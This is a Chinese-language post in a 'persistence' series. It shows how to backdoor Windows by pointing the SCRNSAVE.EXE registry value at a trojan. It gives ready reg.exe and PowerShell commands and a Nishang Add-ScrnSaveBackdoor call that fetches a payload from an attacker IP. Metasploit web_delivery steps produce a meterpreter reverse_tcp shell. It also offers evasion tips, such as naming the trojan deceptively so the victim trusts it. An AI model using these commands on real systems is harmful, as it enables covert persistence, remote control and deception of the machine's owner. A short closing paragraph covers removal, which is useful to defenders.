『权限维持系列』- 屏幕保护程序后门

2020-05-25 15:28:12 浏览数 (1)

屏幕保护程序

屏幕保护是Windows功能的一部分,使用户可以在一段时间不活动后放置屏幕消息或图形动画。众所周知,Windows的此功能被威胁参与者滥用为持久性方法。这是因为屏幕保护程序是具有.scr文件扩展名的可执行文件,并通过scrnsave.scr实用程序执行。

屏幕保护程序存储在注册表中,位置如下:

代码语言:javascript复制
HKEY_CURRENT_USERControl PanelDesktop

如果电脑中没有设置屏幕保护程序,那么注册表中是没有关于其的选项。我们可以通过在电脑搜索中搜索屏幕保护,对屏保进行设置。

设置屏保之后,注册表中即会显示相关内容。

其中,SCRNSAVE.EXE为默认的屏保程序,我们可将此键值设置为我们要利用的恶意程序。在本质上,.scr文件是可执行文件。

ScreenSaveActive表示屏保状态,1为启动,0为关闭。

ScreenSaverTimeout表示屏幕保护程序启动前系统的空闲事件,单位为秒,默认为900(15分钟)。

ScreenSaverIsSecure默认参数为0,标识不需要密码即可解锁。

屏保后门设置

进行注册表修改,执行命令,将屏保设置为我们的恶意软件

代码语言:javascript复制
reg add "hkcucontrol paneldesktop" /v SCRNSAVE.EXE /d c:123123.exe

使用上述命令,会发现一个问题,在执行之后,会弹出一个Yes和No的选择,如果当前的shell不是交互式shell,那岂不是利用不成功了?情况如下:

所以,命令需要完善,以满足多方面苛刻的环境,使用/f参数(强制执行)执行即可解决,命令如下:

代码语言:javascript复制
reg.exe add "HKEY_CURRENT_USERControl PanelDesktop" /v SCRNSAVE.EXE /t REG_SZ /d "c:123123.scr" /f

效果如下:

若你想修改屏保启动时间,或者其他几个参数,附如下命令,自行修改:

代码语言:javascript复制
reg.exe add "HKEY_CURRENT_USERControl PanelDesktop" /v ScreenSaveActive /t REG_SZ /d 1 /f
reg.exe add "HKEY_CURRENT_USERControl PanelDesktop" /v ScreenSaveTimeout /t REG_SZ /d 60 /f
reg.exe add "HKEY_CURRENT_USERControl PanelDesktop" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f

因为我屏保设置的时间为1分钟,所以鼠标键盘无操作一分钟之后,即可上线。

如果选用.scr后缀的文件,那我们可将木马文件的后缀由exe改为scr即可。

同样,注册表修改命令改为:

代码语言:javascript复制
reg add "hkcucontrol paneldesktop" /v SCRNSAVE.EXE /d c:123123.scr

Powershell语法

我们还可以使用Powershell语法进行更改

代码语言:javascript复制
New-ItemProperty -Path 'HKCU:Control PanelDesktop' -Name 'SCRNSAVE.EXE' -Value 'c:tmppentestlab.exe'
New-ItemProperty -Path 'HKCU:Control PanelDesktop' -Name 'SCRNSAVE.EXE' -Value 'c:tmppentestlab.scr'

经过测试呢,发现会出现如下情况,导致无法修改:

Nishang

Nishang的模块Add-ScrnSaveBackdoor.ps1,也可以用于屏保后门的创建。由于Nishang需要powershell3.0版本才可正常启用,而Win7默认是2.0版本,所以暂未利用成功。语法很简单,如下:

代码语言:javascript复制
Import-Module .Add-ScrnSaveBackdoor.ps1
Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.145:8080/Bebr7aOemwFJO

PayloadURL是我们恶意代码的url,可用msf生成:

代码语言:javascript复制
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set LHOST IP_Address
set target 2
exploit

总结

修改完注册表之后,屏保修改处就会显示该后门程序的名称:

所以,后门程序的名字一定要起的有迷惑性,使对方信任。

其次,关闭该后门的方法也很简单,在上述图片位置中,切换屏保程序即可,注册表中的数据就会被修改,但是后门程序并未被删除,所以,若要清除后门,我们需要先在注册表中查看后门程序的路径,才可以彻底删除。

使用此后门时一定要注意,目标机器原本是否有屏保程序。若原本就有屏保程序,此后门的设置应尽量与修改前的图片相符。我们使用msf生成的木马时,将无屏保动画显示。在此期间,为了显示屏保动画,我尝试将SCRNSAVE.EXE的数值修改为原本的屏保程序加上我们的木马文件,如下:

但是,很遗憾,没有利用成功,屏幕保护程序只能接受一个参数,超过一个参数的设置导致所有参数失效,屏保也为无,如下:

参考文章:https://www.cnblogs.com/xiaozi/p/11833495.html

0 人点赞